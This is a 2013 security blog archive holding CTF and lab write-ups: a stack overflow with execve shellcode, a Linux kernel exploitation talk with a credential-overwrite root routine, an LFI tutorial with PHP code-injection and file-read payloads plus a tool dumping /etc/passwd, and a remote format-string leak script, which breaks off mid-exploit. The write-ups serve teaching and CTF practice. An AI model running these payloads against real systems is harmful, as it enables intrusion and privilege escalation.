vendredi 27 décembre 2013

[Wargame] Ivan's Amenra : level 1

Hackeology : C'est un vieux challenge de 2010 plus disponible, je publie quand même le write-up (27/10/2010) qui trainait dans mes brouillons :). Enjoy.

Bonsoir!

J'ai retrouvé dans mes vieux bookmarks un challenge intéressant :).
Ce qui différencie le wargame d'Ivan par rapport aux autres wargame est l'activation de l'ASLR et de quelques protections PaX.

La preuve:
level1@segment:~$ cat /proc/sys/kernel/randomize_va_space 
2

On est accueilli par un message tout ce qu'il y a de plus classique :
Linux segment 2.6.35.7-grsec #3 Thu Oct 14 18:08:24 CEST 2010 i686
_____    _____   ____   ________________   
\__  \  /     \_/ __ \ /    \_  __ \__  \  
 / __ \|  Y Y  \  ___/|   |  \  | \// __ \_
(____  /__|_|  /\___  >___|  /__|  (____  /
     \/      \/     \/     \/           \/ 


        Amenra wargaming platform

levels are in /home/levelX
pass are in /home/levelX/passwd

Infos :
Debian squeeze 2.6.34 (eglibc 2.11.2) with kernel patch grsecurity, w00t !
To check if level's stack is +x use : /sbin/paxctl -v levelX
Box reboots everyday
Box can be unstable
Box pic http://ivanlef0u.nibbles.fr/repo/img/boite2konserv.jpg 
Be ethical or die !

Tools :
objdump & readelf
gdb 7.2 : symbols files are avaible, if you want to use them do:
set debug-file-directory /usr/lib/debug
python 2.6.6
ruby 1.8.7
nano & vim
gcc 4.4.5 & nasm
strace & ltrace

contact : ivanlef0u@tuxfamily.org

Ok cool, maintenant passons au level1 si vous voulez bien :).

// level1.c
// gcc -fno-stack-protector -mpreferred-stack-boundary=2 -Wall level1.c -o level1
// paxctl -c -p -s -m -r -x -s level1
//

#include <string.h>

int main(int argc, char * argv[])
{
    char buf[8];

    strcpy(buf, (char *)argv);

    return 0;
}

Comme d'hab', on va regarder le code assembleur :
level1@segment:~$ gdb ./level1 
Reading symbols from /home/level1/level1...(no debugging symbols found)...done.
gdb$ disassemble main
Dump of assembler code for function main:
   0x080483c4 <+0>: push   ebp
   0x080483c5 <+1>: mov    ebp,esp
   0x080483c7 <+3>: sub    esp,0x10
   0x080483ca <+6>: mov    eax,DWORD PTR [ebp+0xc]
   0x080483cd <+9>: mov    DWORD PTR [esp+0x4],eax
   0x080483d1 <+13>: lea    eax,[ebp-0x8]
   0x080483d4 <+16>: mov    DWORD PTR [esp],eax
   0x080483d7 <+19>: call   0x80482fc <strcpy@plt>
   0x080483dc <+24>: mov    eax,0x0
   0x080483e1 <+29>: leave  
   0x080483e2 <+30>: ret    
End of assembler dump.
gdb$ quit

Bon reste plus qu'à poutrer ça le plus simplement du monde :).

En reconstruisant la stack de tête, on a un truc du genre:
ret
sfp
buffer+4
buffer

On copie argv dans buffer or argv est un tableau de pointeurs des arguments passés au programme. Le premier argument étant le nom du programme, il faut passer 3 arguments supplémentaires.
Ce qui va se passer est que l'adresse de notre 4 ème argument va overwriter l'adresse de retour sur la pile. C'est donc dans cette argument qu'on mettra notre shellcode.

level1@segment:~$ ~/level1 a b `printf "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"`
$ 

Pawned,

Pour le level2 ça va attendre encore un petit moment,

m_101

mercredi 18 décembre 2013

December HZV Meet : Linux Kernel Exploitation

Hello,

So, last Saturday, I did a talk about Linux Kernel Exploitation.
I went over some well known vulnerabilities and I ended with a demo on a kernel exploitation challenge (here) by Jason Donenfeld (his site).
The slides are at the end of this blog article.

In this post, I will detail a bit more some of the slides in the talk.
I will not detail every single slides, only the ones where I think there isn't enough details. If you don't understand some things, don't hesitate to comment ;).

So, let's dig in.

Linux Kernel

The kernel has LOTS of code.
15+ millions lines of code.
LOTS of code mean complexity, complexity mean bugs and bugs mean potential vulnerabilities ;).

Anyhow, the main gateway for users to interact with the kernel are syscalls and IOCTLs.

Behind a syscall, especially network ones, there is a TONS of code.
Effectively, for a bind() call, you have the same interface right?
Well, the kernel, find the corresponding structure using the socket descriptor you use with your bind call.
In that structure, there is what is called a struct proto_ops which contains callbacks for the corresponding protocol.

Exploiting the Linux Kernel


The Linux Kernel is made of code, it is software.
And everyone do know that software has bugs and vulnerabilities.
The Linux Kernel is not an exception.

You will mostly find all the vulnerabilities you know from userland:
- stack based buffer overflows
- heap based buffer overflows
- race conditions
- integer signedness issues
- information leaks
- initialisation issues
- etc
And some different ones:
- NULL Pointer Dereference
- stack overflow (real ones, not based on)
- process manipulation tricks (mempodipper)
- etc

__copy_to_user() and copy_to_user() are not the same.
The first one doesn't check that the address effectively live in userland while the second one do that.

The goal of exploiting the kernel is mainly to get root.


NULL Pointer Dereference

It was (is?) exploitable in kernel simply because you could (can?) map the NULL page in your exploit as it lives in userland. As such, it doesn't crash.


Heuristics


These are routines that allow you to have good enough approximations.
For instance, before 2.6.29, credentials were stored like this in the kernel:
/*
Kernel 2.6.23
include/linux/sched.h
*/

struct task_struct {
/* ... */

/* process credentials */
    uid_t uid,euid,suid,fsuid;
    gid_t gid,egid,sgid,fsgid;
    struct group_info *group_info;
    kernel_cap_t   cap_effective, cap_inheritable, cap_permitted;
    unsigned keep_capabilities:1;
    struct user_struct *user;

/* ... */
};

As you can see, uid, euid and suid will generally have the same value.
So if you set thos values to 0, your process basically has root privileges.
This heuristic is good enough as there is little chance that you will have 3 dwords with the same values in memory (don't forget we start to search from our current task_struct that represent our exploit process).

This routine before 2.6.29 was thus enough to get root:
// get root before 2.6.29 kernel
void get_root_pre_2_6_29 (void)
{
    uid_t uid, *cred;
    size_t byte;

    uid = getuid();
    cred = get_task_struct();
    if (!cred)
        return;

    for (byte = 0; byte < PAGE_SIZE; byte++) {
        if (cred[0] == uid
                && cred[1] == uid
                && cred[2] == uid) {
            cred[0] = cred[1] = cred[2] = cred[3] = 0;
            cred[4] = cred[5] = cred[6] = cred[7] = 0;
        }
        cred++;        
    }
}

Root in 3 big steps

You've basically got 3 big steps: prepare, trigger vulnerability, trigger payload.

Prepare


This is the most important step as this will greatly affect the reliability of your exploit.

This is where you:
- check that the kernel is vulnerable.
- use information leaks
- prepare the memory layout so you can predict reliably where your objects are
- place your shell code in memory

The avantage of shellcoding in the kernel : it is in C.

Trigger vulnerability


This is where you will exploit your vulnerability.

Patching memory, pointers and whatsoever.

Trigger payload


This is where you escalate the privileges of your process.

This is also where you fix the mayhem you may have caused earlier.
It is REALLY important to fix the things you messed up as otherwise the machine may crash later.
It is done in the payload as the payload is executed in kernel mode. root is in userland, root != kernel land, don't get confused about that.

After triggering the payload, you go back in userland and spawn your root shell or whatsoever.

Ok, now that you have the basic understanding, you are ready for some kernel goodies.

Linux Kernel Exploitation

I won't explain CVE-2009-2692 unless some people ask for it.
It is simple enough using the slides to comprehend.

Anyhow, let's dig in TUN NULL Pointer Dereference.

TUN NULL Pointer Dereference

This vulnerability is really interesting as there is something really special about it : the vulnerability is NOT in the source code. It is inserted at compilation.
Basically, what happens is that tun is dereferenced before checking that tun is NULL. As such, GCC considers that the pointer doesn't need checking as we use it before checking : GCC removes the NULL check. Boom, vulnerability.

The vulnerable code:
static unsigned int tun_chr_poll(struct file *file, poll_table * wait)
{
    struct tun_file *tfile = file->private_data;
    struct tun_struct *tun = __tun_get(tfile);
    struct sock *sk = tun->sk;
    unsigned int mask = 0;

    if (!tun)
        return POLLERR;

    /* ... */

    if (sock_writeable(sk) ||
        (!test_and_set_bit(SOCK_ASYNC_NOSPACE, &sk->sk_socket->flags) &&
         sock_writeable(sk)))
        mask |= POLLOUT | POLLWRNORM;

    /* ... */

    return mask;
}

So the NULL check doesn't exist and tun is NULL.
So we can map the NULL page and we thus control tun->sk.
We control sk->sk_socket->flags as well.
test_and_set_bit() set the last bit at 1.
Bang, we can set any NULL pointer to 1.
In the exploit, mmap() is chosen as the TUN device doesn't have a mmap().
mmap() need to be see to one even though we control the NULL page as internally mmap() is not called if it's NULL.
Put a trampoline at address 1 to jump over all the junk you've set up and go to your payload.
And that it's, you've escalated your privileges.

Why mmap() can't be NULL?


If you dig around in the kernel, here is what to look for:
// arch/x86/kernel/sys_x86_64.c:21: asmlinkage long sys_mmap(unsigned long addr, unsigned long len,
asmlinkage long sys_mmap(unsigned long addr, unsigned long len,
        unsigned long prot, unsigned long flags,
        unsigned long fd, unsigned long off)
{
    long error;
    struct file *file;

    error = -EINVAL;
    if (off & ~PAGE_MASK)
        goto out;

    error = -EBADF;
    file = NULL;
    flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE);
    if (!(flags & MAP_ANONYMOUS)) {
        file = fget(fd);
        if (!file)
            goto out;
    }
    down_write(&current->mm->mmap_sem);
    error = do_mmap_pgoff(file, addr, len, prot, flags, off >> PAGE_SHIFT);
    up_write(&current->mm->mmap_sem);

    if (file)
        fput(file);
out:
    return error;
}

If you go down do_mmap_pgoff(), you end up finding this code:
// mm/mmap.c

/* ... */ 

            if (!file->f_op || !file->f_op->mmap)
                return -ENODEV;
            break;

/* ... */

So here it is, if mmap() is NULL, it doesn't get called.
That is why it sets the mmap() pointer to 1.

Other exploits

This is where it gets pretty hard to explain as there is still tons of code to read x).
I dug a bit in vmsplice, RDS and perf_events exploits.

vmsplice use buffer overflow, but it's not a common one as it doesn't overwrite any function or return pointers. What it overwrites are compound page addresses (values we don't control) and then call a dtor pointer the attacker control.
Privileged code execution is gained in put_compound_page() through the call of a destructor function pointer that we control.
This dtor pointer obviously points to the attacker payload.
At the end of the article, I've attached some analysis I did for vmsplice. There is lot of code to cover though so I won't detail it in this post.

I haven't thoroughly analyzed the RDS exploit yet but it is a write-what-where.

The perf_events exploit is really interesting.
It 'basically' increment a INT handler pointer upper bytes in 64 bits so the pointer end up in userland. The exploit then return to this allocated memory containing the payload.
The exploit also use a neat trick to compute the perf_event array. An entire post is necessary as well to properly understand this exploit. Analysis have already been done anyhow by other people.

The challenge


The VM is a 64 Bit Linux system made especially by Jason Donenfeld (aka zx2c4).
The vulnerability allows us to write a 0 anywhere in kernel memory.
As such, in my exploit, I zeroed out some part of a proto_ops function pointer. mmap() it, put my payload over there, jump to it and fix it.

I debugged the exploit using registry information showed when the exploit crashed.

The exploit is included in the archive below.

Conclusion

As you can see, kernel exploitation has some similitudes with userland exploitation.
The differences mainly stem in the protections and the impact that a bug can have.
For instance, in kernel-land, not initializing a structure fully can have severe consequence (code execution through NULL pointer dereference, etc) while in userland, it may cause an infoleak but not directly code execution.

Moreover, this also shows that the kernel is piece of software and is as such exploitable.

Hope you enjoyed the article,

I welcome any feedback on it,

Cheers,

m_101


References



- The slides : here
- Jason Donenfield's challenge : here
- sgrakkyu's blog : http://kernelbof.blogspot.fr/
- Attacking the Core : Kernel Exploiting Note
- "A Guide to Kernel Exploitation: Attacking the Core" de Enrico Perla et Massimiliano Oldani
- Miscellaneous exploits : NULL deref sendpage, NULL deref /dev/net/tun, vmsplice, RDS write-what-where, integer problem perf_swevent
- MISC explaining perf_swevent exploit : Misc 69

vendredi 13 décembre 2013

LFI Exploitation : Basics, code execution and information leak

Hello,

Today, I played a bit with Metasploitable 2.
It is really easy to root, so that's not the interest of this blog post.

Anyhow, I played a bit around and I ended up coding a basic LFI exploit tool.

So yet another post on LFI exploitation ...

So what is LFI?


LFI stands for Local File Inclusion.
It is a vulnerability that allows you to include local files.
Many people do think that it's not really dangerous as it only includes LOCAL files.
Unfortunately (depending on which side of the barrier you are ...), it is false, you can execute code through a LFI.

So, how do you exploit it?


By including local files.
Yes, local files :).

These are the well-known techniques for LFI:
- apache logs
- /proc/self/environ
- php://input
- NULL Byte Injection
- path truncation
- directory traversal
- PHP filters
- image inclusion with PHP code

Apache logs

These were publicly accessible in old distros.
Now, these are only readable by proper users.

You'd basically inject PHP Code through the GET requests:
http://victim/<?php system ('id'); ?>

This would leave PHP code in the logs.

Then executing the PHP code is as simple as:
http://victim/?page=/var/log/apache2/access_log

Code execution if there is no proper rights on the logs (some old systems remain).

/proc/self/environ


This file is interesting as it stores stuffs like your USER-AGENT and whatsoever.

So, if you change your User-Agent to
<?php system ('id'); ?>
and use this:
http://victim/?page=/proc/self/environ


Yes, code execution!

php://input

Ok, this one execute PHP Code included into the POST DATA.

NULL byte injection and path truncation

This one is pretty neat.
Say you have the following code:

<?php include ($_GET['page'] . '.php'); ?>


Well, you can get rid of the '.php' extension using that trick.
Just append or looooooots of . or /., this will get normalized and voila no more extension.
NULL Byte poisoning doesn't work for PHP >= 5.3.4 as it's been fixed.

Reverse path truncation is mostly the same, just the ../ is before the file name.

PHP filters

This vulnerability is mainly for leaking files (.php and others).
This doesn't work if you have a prefix such as here:
<?php include ($prefix + $_GET['page'] + '.php'); ?>

You exploit it using this request for instance:
http://victim/?page=php://filter/read=convert.base64-encode/resource=index.php


As you guessed, the PHP filter is
php://filter/read=convert.base64-encode/resource=
.

image with PHP code


This one is about appending PHP code in an image.
Using the image in the LFI allows you to inject PHP code : the PHP interpreter interprets anything as code as long as it's in <?php ?>.

If you have a non exploitable LFI with /proc/self/environ or apaches logs and you don't have an extension concatenation, this can allow you to exploit it if you are able to upload images.
Let's say you have PHPBB and PhpLdapAdmin 1.1.0.5.
Well, you can upload an image using PHPBB then exploit the LFI in PhpLdapAdmin using the directory traversal trick => code execution.

Exploit


I wrote a basic LFI exploiter that uses PHP filter or /proc/self/environ tricks.
You can get it at LFI exploit tool .
The code isn't clean and it needs tons of improvement before being really a usable tool. I plan on improving it on a need to basis. The cookie functionality is not implemented yet, it is just a placeholder for now.
You can test it on multilidae on Metasploitable 2. I haven't tested it somewhere else yet.

Example of utilisation (this is on metasploitable 2):
$ ./exploit-lfi.py -h
usage: exploit-lfi.py [-h] --url URL [--action ACTION] --option OPTION
                      [--replace REPLACE] [--cookie COOKIE]

Exploit LFI

optional arguments:
  -h, --help            show this help message and exit
  --url URL, -u URL     URL to attack
  --action ACTION, -a ACTION
                        exec or read (default)
  --option OPTION, -o OPTION
                        Action argument
  --replace REPLACE, -r REPLACE
                        string to replace
  --cookie COOKIE, -c COOKIE
                        Cookie
$ ./exploit-lfi.py -u 'http://192.168.56.107/mutillidae/index.php?page=show-log.php' -o 'cat /etc/passwd'
[+] Checking vulnerability
Test url : http://192.168.56.107/mutillidae/index.php?page=whatever&
Is vulnerable with param page!
[+] Found vulnerability, new URL : http://192.168.56.107/mutillidae/index.php?page=PAYLOAD&
[+] Searching for root path
root : ../../../
[+] New URL : http://192.168.56.107/mutillidae/index.php?page=../../../PAYLOAD&
[+] Testing : {'path': '/proc/self/environ', 'type': 'header'}
    http://192.168.56.107/mutillidae/index.php?page=../../..//proc/self/environ&
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:x:115:65534::/var/lib/snmp:/bin/false 

Conclusion

As you can see in this introduction, code execution is quite possible with a LFI.
These aren't only information leaks vulnerabilities.


That's all for today.

Cheers,

m_101

Updates
- 18/12/2013 : the LFI exploit tool I wrote has been moved to its own repository : https://github.com/m101/lfipwn/ and cookie functionality does work.

References


- Basics on file inclusion : http://www.blackhatlibrary.net/File_Inclusion
- PhpLdapAdmin LFI : http://www.exploit-db.com/exploits/10410/
- path truncation part 1 : http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
- path truncation part 2 : http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/


mardi 20 août 2013

[Root-Me] Remote Binary 2 - An advanced remote format string example


Hello,

Today, we're going to exploit a remote format string! :)
It sures changes from classic format strings.

Anyhow, this is a perfect example of a fully reliable remote exploit using info leaking capabilities.

Like other posts, I will try to explain and develop (almost) the entire exploit development process.
I hope you like this formula, otherwise tell me.

On to the show,

The target

The challenge is located here: Remote Binary 2 .
The binary is not protected at all, the difficulty lies in that it is in a remote location.

Here is the source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <unistd.h>

#define LISTEN_PORT 56006
#define LENGTH 1024

extern char **environ;
int ssock;

int recv_loop(void)
{
  
  int csock;
  struct sockaddr_in caddr;
  socklen_t clen = sizeof(caddr);
  char input[LENGTH];
  char output[LENGTH];
    
  while(1)
  {
    if( (csock = accept(ssock, (struct sockaddr *) &caddr, &clen)) < 0) {
      perror("accept()");
      exit(1);
    }
    memset(input, '\0', LENGTH);
    memset(output, '\0', LENGTH);
    
    recv(csock, input, LENGTH-1, 0);
    snprintf (output, sizeof (output), input);
    output[sizeof (output) - 1] = '\0'; 
    send(csock, output, LENGTH-1, 0);
    close(csock);
  }

  return 0;
}

int main(void)
{
  int i, pid, yes = 1;
  struct sockaddr_in saddr;

  for(i=0; environ[i] != NULL; i++) {
    memset(environ[i], '\0', strlen(environ[i]));
  }

  saddr.sin_family = AF_INET;
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);
  saddr.sin_port = htons(LISTEN_PORT);

  while(1)
  {
    pid = fork();
    if( pid == 0 ) {
      printf("run (pid=%d)\n", getpid());
      if( (ssock = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
        perror("socket()"); 
        exit(1); 
      }
      
      if(setsockopt(ssock, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) <0) {
         perror("setsockopt()");
         exit(1);
      }

      if( bind(ssock, (struct sockaddr*) &saddr, sizeof(saddr)) < 0) { 
        perror("bind()"); 
        exit(1); 
      }

      if( listen(ssock, 5) < 0) { 
        perror("listen()"); 
        exit(1); 
      }
    
      recv_loop();
    } else {
       wait(NULL);
       close(ssock);
    }
  }

  return 0;
}

As we can see, these are infinite loops and it fork() for each received request.
environ is set to 0 so we can't use it for our shellcode.
I won't bother you too much with the ASM as you can guess but basically:
while (1) {
    // code
}

translate to a similar structure such as:
loop:
    // code
    jmp loop

This is important to mention as there won't be a SEIP that we can really use as the functions never return there.

Also, since it forks at each and every request, it means we could bruteforce the child address space. We are not going to do that: it is not really clean, there is a better solution as you will see through reading the rest of this article.

Looking a bit further, we locate the vulnerability in recv_loop(), we control the format string!
There a no overflow however and memory is reset to 0 at each iteration.
There is even some basic error checking to see if accept() succeed.

From there we can devise an attack strategy:
- we can write anywhere: let's patch a GOT entry! We have the choice
- thing is, if we patch send(), close() or accept(), we have to set up our payload and execute in one go, we cannot check for proper write before for instance (first rule of an exploit: reliability).
- lucky for us, if accept() fail then it perror() and exit(), we just need to patch ssock to make accept() fail. We thus can trigger our payload whenever we want.

Thing is, before we can do all that, we need addresses!

Infoleak to the rescue

Format strings are useful for reading AND writing!!! So we are going to dump part of the stack.
This is especially useful for remote processes, ASLR+PIE+DEP binaries for instance as it allows to completely bypass those protections altogether.

The technique I used here to dump the stack is through the "direct parameter access".

# we leak part of the stack
for index in {1..746}; do echo "index $index = %$index\$x" | nc -v 127.0.0.1 56006 >> dump.raw; done
# we extract only our data (and not the '\x00'..)
strings dump.raw > dump.log

There are other techniques such as using %s format string for dumping arbitrary valid memory locations. This is more hardcore though, I haven't tried it yet.

Here we got a text file, we would like to have a binary dump:
#!/usr/bin/python

import sys
import struct

if len (sys.argv) != 3:
    print 'Usage: {0} input output'.format (sys.argv[0])
    exit (1)

(progname, input_filename, output_filename) = sys.argv

# parse dump.log
values = []
with open (input_filename, 'r') as fp:
    content = fp.read()
    content = content.replace ('\\n', '')
    content = content.split ('\n')
    for line in content:
        fields = line.split ('=')
        if len (fields) != 2:
            continue

        value = fields[1].strip ()
        # value = struct.pack ('<I', value)
        value = int (value, 16)
        values.append (value)

# reconstruct stack
with open (output_filename, 'wb') as fpw:
    for value in values:
        bin_val = struct.pack ("<I", value)
        fpw.write (bin_val)

print '{0} parsed to {1}'.format (input_filename, output_filename)

As you can see, it is a much more usable format:
$ ./stack-rebuild.py dump.log dump.bin 
dump.log parsed to dump.bin
$ hexdump -C dump.bin 
00000000  00 00 00 00 00 00 00 00  00 00 00 00 34 20 3d 20  |............4 = |
00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000400  00 00 00 00 00 00 00 00  00 00 00 00 32 36 30 20  |............260 |
00000410  3d 20 25 32 36 32 24 78  5c 6e 0a 00 00 00 00 00  |= %262$x\n......|
00000420  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000800  00 00 00 00 00 00 00 00  00 00 00 00 10 00 00 00  |................|
00000810  02 00 8b 6e 7f 00 00 01  00 00 00 00 00 00 00 00  |...n............|
00000820  03 00 00 00 f4 1f fd b7  d7 ff ff bf e8 fc ff bf  |................|
00000830  38 8a 04 08 00 00 00 00  05 00 00 00 10 00 00 00  |8...............|
00000840  d4 fc ff bf 04 00 00 00  f4 9f 04 08 01 00 00 00  |................|
00000850  55 85 04 08 e4 23 fd b7  0d 00 00 00 f4 9f 04 08  |U....#..........|
00000860  ff ff ff ff ff ff ff ff  02 00 da c6 00 00 00 00  |................|
00000870  25 02 e6 b7 80 d2 fe b7  01 00 00 00 00 00 00 00  |%...............|
00000880  0b 00 00 00 60 8a 04 08  00 00 00 00 00 00 00 00  |....`...........|
00000890  d3 64 e4 b7 01 00 00 00  84 fd ff bf 8c fd ff bf  |.d..............|
000008a0  58 c8 fd b7 00 00 00 00  1c fd ff bf 8c fd ff bf  |X...............|
000008b0  00 00 00 00 6c 83 04 08  f4 1f fd b7 00 00 00 00  |....l...........|
000008c0  00 00 00 00 00 00 00 00  15 44 9e 14 05 80 ae 23  |.........D.....#|
000008d0  00 00 00 00 00 00 00 00  00 00 00 00 01 00 00 00  |................|
000008e0  b0 86 04 08 00 00 00 00  b0 26 ff b7 e9 63 e4 b7  |.........&...c..|
000008f0  f4 ef ff b7 01 00 00 00  b0 86 04 08 00 00 00 00  |................|
00000900  d1 86 04 08 63 88 04 08  01 00 00 00 84 fd ff bf  |....c...........|
00000910  60 8a 04 08 d0 8a 04 08  80 d2 fe b7 7c fd ff bf  |`...........|...|
00000920  18 f9 ff b7 01 00 00 00  8c fe ff bf 00 00 00 00  |................|
00000930  b1 fe ff bf bc fe ff bf  cc fe ff bf e1 fe ff bf  |................|
00000940  1f ff ff bf 3e ff ff bf  5e ff ff bf 6f ff ff bf  |....>...^...o...|
00000950  90 ff ff bf 98 ff ff bf  b0 ff ff bf 00 00 00 00  |................|
00000960  20 00 00 00 14 d4 fd b7  21 00 00 00 00 d0 fd b7  | .......!.......|
00000970  10 00 00 00 ff fb eb 0f  06 00 00 00 00 10 00 00  |................|
00000980  11 00 00 00 64 00 00 00  03 00 00 00 34 80 04 08  |....d.......4...|
00000990  04 00 00 00 20 00 00 00  05 00 00 00 09 00 00 00  |.... ...........|
000009a0  07 00 00 00 00 e0 fd b7  08 00 00 00 00 00 00 00  |................|
000009b0  09 00 00 00 b0 86 04 08  0b 00 00 00 00 04 00 00  |................|
000009c0  0c 00 00 00 00 04 00 00  0d 00 00 00 00 04 00 00  |................|
000009d0  0e 00 00 00 00 04 00 00  17 00 00 00 00 00 00 00  |................|
000009e0  19 00 00 00 6b fe ff bf  1f 00 00 00 d7 ff ff bf  |....k...........|
000009f0  0f 00 00 00 7b fe ff bf  00 00 00 00 00 00 00 00  |....{...........|
00000a00  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 80  |................|
00000a10  0f 0c 84 d2 b3 75 b5 2e  54 cf 42 17 94 c5 10 69  |.....u..T.B....i|
00000a20  36 38 36 00 00 00 00 00  00 00 00 00 00 00 00 00  |686.............|
00000a30  2f 63 68 61 6c 6c 65 6e  67 65 2f 72 62 69 6e 61  |/challenge/rbina|
00000a40  72 79 2f 72 62 69 6e 61  72 79 32 2f 72 62 69 6e  |ry/rbinary2/rbin|
00000a50  61 72 79 32 00 00 00 00  00 00 00 00 00 00 00 00  |ary2............|
00000a60  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000b70  00 00 00 00 00 00 00 00  00 00 00 2f 63 68 61 6c  |.........../chal|
00000b80  6c 65 6e 67 65 2f 72 62  69 6e 61 72 79 2f 72 62  |lenge/rbinary/rb|
00000b90  69 6e 61 72 79 32 2f 72  62 69 6e 61 72 79 32 00  |inary2/rbinary2.|
00000ba0  00 00 00 00                                       |....|



Now, let dig through it for stack addresses:
$ grep '= bf' dump.log
523 = bfffffd7\n
524 = bffffce8\n
529 = bffffcd4\n
551 = bffffd84\n
552 = bffffd8c\n
555 = bffffd1c\n
556 = bffffd8c\n
580 = bffffd84\n
584 = bffffd7c\n
587 = bffffe8c\n
589 = bffffeb1\n
590 = bffffebc\n
591 = bffffecc\n
592 = bffffee1\n
593 = bfffff1f\n
594 = bfffff3e\n
595 = bfffff5e\n
596 = bfffff6f\n
597 = bfffff90\n
598 = bfffff98\n
599 = bfffffb0\n
634 = bffffe6b\n
636 = bfffffd7\n
638 = bffffe7b\n

Neat, we have  a couple of stack addresses. For now, we don't know to what they map to.
Anyhow, we mainly need offsets now to esp, ebp, input_buffer and output_buffer. Let's see how to get them from rbinary2.

Getting addresses offsets out of the binary


Addresses


For extracting addresses we'are interested in, we are going to use GDB for disassembly and readelf for GOT addresses.

Let's disassemble it! (I've cutted part of the disassembly, only showing parts of interest)
gdb$ disassemble recv_loop 
Dump of assembler code for function recv_loop:
   0x08048764 <+0>: push   ebp
   0x08048765 <+1>: mov    ebp,esp
   0x08048767 <+3>: push   edi
   0x08048768 <+4>: push   ebx
   0x08048769 <+5>: sub    esp,0x830
   0x0804876f <+11>: mov    DWORD PTR [ebp-0x20],0x10
   0x08048776 <+18>: mov    eax,ds:0x804a064
<...>
   0x080487a6 <+66>: mov    DWORD PTR [esp],0x1
   0x080487ad <+73>: call   0x80485f0 <exit@plt>
   ; memset
   0x080487b2 <+78>: lea    eax,[ebp-0x420]
   0x080487b8 <+84>: mov    ebx,eax
   0x080487ba <+86>: mov    eax,0x0
   0x080487bf <+91>: mov    edx,0x100
   0x080487c4 <+96>: mov    edi,ebx
   0x080487c6 <+98>: mov    ecx,edx
   0x080487c8 <+100>: rep stos DWORD PTR es:[edi],eax
   ; memset
   0x080487ca <+102>: lea    eax,[ebp-0x820]
   0x080487d0 <+108>: mov    ebx,eax
   0x080487d2 <+110>: mov    eax,0x0
   0x080487d7 <+115>: mov    edx,0x100
   0x080487dc <+120>: mov    edi,ebx
   0x080487de <+122>: mov    ecx,edx
   0x080487e0 <+124>: rep stos DWORD PTR es:[edi],eax
<...>
   0x0804885e <+250>: jmp    0x8048776 <recv_loop+18>
End of assembler dump.

Let's get GOT addresses!
rbinary2@challenge02:~$ readelf -r ~/rbinary2

Relocation section '.rel.dyn' at offset 0x47c contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ff0  00000806 R_386_GLOB_DAT    00000000   __gmon_start__
0804a058  00001705 R_386_COPY        0804a058   __environ

Relocation section '.rel.plt' at offset 0x48c contains 20 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a000  00000107 R_386_JUMP_SLOT   00000000   setsockopt
0804a004  00000207 R_386_JUMP_SLOT   00000000   printf
0804a008  00000307 R_386_JUMP_SLOT   00000000   wait
0804a00c  00000407 R_386_JUMP_SLOT   00000000   htons
0804a010  00000507 R_386_JUMP_SLOT   00000000   perror
0804a014  00000607 R_386_JUMP_SLOT   00000000   accept
0804a018  00000707 R_386_JUMP_SLOT   00000000   getpid
0804a01c  00000807 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a020  00000907 R_386_JUMP_SLOT   00000000   exit
0804a024  00000a07 R_386_JUMP_SLOT   00000000   __libc_start_main
0804a028  00000b07 R_386_JUMP_SLOT   00000000   bind
0804a02c  00000c07 R_386_JUMP_SLOT   00000000   memset
0804a030  00000d07 R_386_JUMP_SLOT   00000000   snprintf
0804a034  00000e07 R_386_JUMP_SLOT   00000000   fork
0804a038  00000f07 R_386_JUMP_SLOT   00000000   htonl
0804a03c  00001007 R_386_JUMP_SLOT   00000000   listen
0804a040  00001107 R_386_JUMP_SLOT   00000000   socket
0804a044  00001207 R_386_JUMP_SLOT   00000000   recv
